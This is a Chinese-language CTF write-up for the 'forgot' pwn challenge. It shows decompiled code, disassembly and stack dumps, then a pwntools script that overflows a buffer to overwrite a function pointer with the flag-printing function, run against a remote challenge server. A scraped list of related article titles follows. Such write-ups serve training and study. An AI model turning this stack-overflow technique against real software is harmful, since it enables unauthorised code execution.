adworld_forgot

这道题单纯的考对栈里数据的掌握,以及C程序调用

int __cdecl main()
{size_t v0; // ebxchar v2[32]; // [esp+10h] [ebp-74h] BYREF_DWORD v3[10]; // [esp+30h] [ebp-54h]char s[32]; // [esp+58h] [ebp-2Ch] BYREFint v5; // [esp+78h] [ebp-Ch]size_t i; // [esp+7Ch] [ebp-8h]v5 = 1;v3[0] = sub_8048604;v3[1] = sub_8048618;v3[2] = sub_804862C;v3[3] = sub_8048640;v3[4] = sub_8048654;v3[5] = sub_8048668;v3[6] = sub_804867C;v3[7] = sub_8048690;v3[8] = sub_80486A4;v3[9] = sub_80486B8;puts("What is your name?");printf("> ");fflush(stdout);fgets(s, 32, stdin);sub_80485DD(s);fflush(stdout);printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);fflush(stdout);puts("Enter the string to be validate");printf("> ");fflush(stdout);__isoc99_scanf("%s", v2);for ( i = 0; ; ++i ){v0 = i;if ( v0 >= strlen(v2) )break;switch ( v5 ){case 1:if ( sub_8048702(v2[i]) )v5 = 2;break;case 2:if ( v2[i] == 64 )v5 = 3;break;case 3:if ( sub_804874C(v2[i]) )v5 = 4;break;case 4:if ( v2[i] == 46 )v5 = 5;break;case 5:if ( sub_8048784(v2[i]) )v5 = 6;break;case 6:if ( sub_8048784(v2[i]) )v5 = 7;break;case 7:if ( sub_8048784(v2[i]) )v5 = 8;break;case 8:if ( sub_8048784(v2[i]) )v5 = 9;break;case 9:v5 = 10;break;default:continue;}}((void (*)(void))v3[--v5])();return fflush(stdout);
}

我们可以看到这个函数79行,是一个函数调用,函数位置在v3[–v5]的地方,通过ida我们还可以看出

.text:080486B8 sub_80486B8     proc near               ; DATA XREF: main+5A↓o
.text:080486B8 ; __unwind {
.text:080486B8                 push    ebp
.text:080486B9                 mov     ebp, esp
.text:080486BB                 sub     esp, 18h
.text:080486BE                 mov     dword ptr [esp], offset aYouJustMadeItB ; "You just made it. But then you didn't!"
.text:080486C5                 call    _puts
.text:080486CA                 leave
.text:080486CB                 retn
.text:080486CB ; } // starts at 80486B8
.text:080486CB sub_80486B8     endp
.text:080486CB
.text:080486CC
.text:080486CC ; =============== S U B R O U T I N E =======================================
.text:080486CC
.text:080486CC ; Attributes: bp-based frame
.text:080486CC
.text:080486CC ; int sub_80486CC()
.text:080486CC sub_80486CC     proc near
.text:080486CC
.text:080486CC s               = byte ptr -3Ah
.text:080486CC
.text:080486CC ; __unwind {
.text:080486CC                 push    ebp
.text:080486CD                 mov     ebp, esp
.text:080486CF                 sub     esp, 58h
.text:080486D2                 mov     dword ptr [esp+0Ch], offset aFlag ; "./flag"
.text:080486DA                 mov     dword ptr [esp+8], offset aCatS ; "cat %s"
.text:080486E2                 mov     dword ptr [esp+4], 32h ; '2' ; maxlen
.text:080486EA                 lea     eax, [ebp+s]
.text:080486ED                 mov     [esp], eax      ; s
.text:080486F0                 call    _snprintf
.text:080486F5                 lea     eax, [ebp+s]
.text:080486F8                 mov     [esp], eax      ; command
.text:080486FB                 call    _system
.text:08048700                 leave
.text:08048701                 retn
.text:08048701 ; } // starts at 80486CC
.text:08048701 sub_80486CC     endp

080486CC地址下有一个拿flag的函数,且在main函数里,除了这一个函数其他的都很好的排在了栈中

0b:002c│         0xffffd0bc ◂— 0x0
0c:0030│         0xffffd0c0 —▸ 0x8048604 ◂— push   ebp
0d:0034│         0xffffd0c4 —▸ 0x8048618 ◂— push   ebp
0e:0038│         0xffffd0c8 —▸ 0x804862c ◂— push   ebp
0f:003c│         0xffffd0cc —▸ 0x8048640 ◂— push   ebp
10:0040│         0xffffd0d0 —▸ 0x8048654 ◂— push   ebp
11:0044│         0xffffd0d4 —▸ 0x8048668 ◂— push   ebp
12:0048│         0xffffd0d8 —▸ 0x804867c ◂— push   ebp
13:004c│         0xffffd0dc —▸ 0x8048690 ◂— push   ebp
14:0050│         0xffffd0e0 —▸ 0x80486a4 ◂— push   ebp
15:0054│         0xffffd0e4 —▸ 0x80486b8 ◂— push   ebp

执行scanf后的栈长这样

04:0010│     0xffffd0a0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓        9 skipped
0e:0038│     0xffffd0c8 —▸ 0x8048600 ◂— 0xc3c9ffff
0f:003c│     0xffffd0cc —▸ 0x8048640 ◂— push   ebp
10:0040│     0xffffd0d0 —▸ 0x8048654 ◂— push   ebp
11:0044│     0xffffd0d4 —▸ 0x8048668 ◂— push   ebp
12:0048│     0xffffd0d8 —▸ 0x804867c ◂— push   ebp
13:004c│     0xffffd0dc —▸ 0x8048690 ◂— push   ebp
14:0050│     0xffffd0e0 —▸ 0x80486a4 ◂— push   ebp
15:0054│     0xffffd0e4 —▸ 0x80486b8 ◂— push   ebp

可以发现我们可以把v3[0]给覆盖成0x080486CC

0xffffd0c0 -0xffffd0a0 = 0x20

然后我们只需要不被Switch修改v5数据就行了

_BOOL4 __cdecl sub_8048702(char a1)
{return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}

这是case1中的函数,也就是说我们输入a1=95 也就是‘A’,那么就会返回false从而逃过Switch

最后执行我们修改后的v3[0],便拿到shell。

(这道题就是看起来内容很多,但是看清楚每个变量在栈上的相对位置后就很容易了,代码一定要看清楚,看仔细不能遗漏)

exp

from pwn import *
context(log_level='debug',arch='i386',os='linux')#p = process('forgot')
p = remote('111.200.241.244',61505)payload = b'A'*0x20 +  p32(0x080486CC) p.recvuntil('> ')
p.sendline('gnol')p.recvuntil('> ')
p.sendline(payload)p.interactive()

攻防世界forgot相关推荐

  1. 攻防世界forgot——让人眼花目眩的一道题(详细菜鸡向)

    攻防世界forgot--让人眼花目眩的一道题 今天做了一道攻防世界的进阶题,看起来复杂的一匹,但是实际上也就这吧 (随手关掉刚刚百度到的wp [doge]),做完后最直观的感受就是自己的代码阅读能力还 ...

  2. 攻防世界 forgot

    1.题目 2.IDA分析 3.流程分析 流程:输入名字,邮箱,邮箱校验完,执行v3+--v14处的代码.v3原本指向sub_8048604的,我们发现sub_80486CC才是我们需要运行的函数. 思 ...

  3. xctf 攻防世界-forgot writeup

    根据ida反汇编的结果可以发现有两处溢出点,第一处溢出点没什么作用,只能观察第二处溢出点 可以观察到箭头处是个函数指针,&v3 是v3在栈上的地址,&v3 + --v14 是根据&am ...

  4. [攻防世界 pwn]——forgot

    [攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...

  5. 攻防世界 pwn forgot

    下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的 首先我们看一下题目的安全机制: 然后IDA看一下主函数: int __cdecl main() {siz ...

  6. 攻防世界高手进阶区 ——forgot

    攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...

  7. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  8. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  9. 攻防世界reverse进阶easyre-153 writeup(#gdb调试父子进程、#ida版本差异)

    文章目录 学习目标: 引言 第一步.查脱壳 1.查壳 2.脱壳 3.查看文件格式 第二步.IDA静态分析 1.IDA版本的小坑 2.分析main函数 3.分析lol函数 第三步.gdb动态分析 1.m ...

最新文章

  1. 【渝粤题库】陕西师范大学209013 计量经济学 作业
  2. c语言如何将程序保存在文件,急求如何将下列C语言程序数据存储到文件中?
  3. LeetCode 28. 实现 strStr() (java)
  4. 巴菲特发布2022年致股东公开信:盛赞苹果CEO
  5. OpenStack 的诞生
  6. SQL server 2008 不允许保存更改,您所做的更改要求删除并重新创建以下表 的解决办法...
  7. 马斯克认怂和解,特斯拉股价大涨17%,市值回涨78亿美元
  8. 何小鹏总结2017:小鹏汽车融资近50亿,上市车型下月亮相CES
  9. 推荐几款珍藏多年的插件,好用到爆,进来瞅瞅有没有
  10. Unity——退出程序代码
  11. 四个vue后台常用模板,你用过几个?
  12. [渝粤教育] 西南科技大学 古代汉语 在线考试复习资料
  13. 集合中的(交集,并集,差集,补集,对称差集)
  14. vue元素实现动画过渡效果
  15. APP产品经理(一)
  16. Excel应用-使用VBA自动绘制所有适用类型的Excel图表(代码及效果图)
  17. 腾讯云运维工程师认证TCA原题(2)
  18. java短信验证码失效时间_Java实现短信验证码--设置发送间隔时间,以及有效时间(Java+Redis)...
  19. 进程和线程最通俗的形象比喻
  20. ArcGIS Pro 共享地图(MPKX)

热门文章

  1. 青甘大环线,蓝紫魔仙同游西北
  2. atan()函数与atan2()函数
  3. 【论文阅读】Structured Knowledge Distillation for Semantic Segmentation
  4. uni-app/微信小程序 解析 json 数据(thinkphp6),跨域问题
  5. python判断字符串是否为回文if语句_如何python判断字符串是否为回文?
  6. Split()拆分字符串与StringTokenizer拆分字符串
  7. 图神经网络(Graph Neural Networks)概述
  8. redo和undo日志
  9. jaybird+x3+android,小米首款运动耳机
  10. Windows电脑添加和删除路由(附管理员打开cmd方法)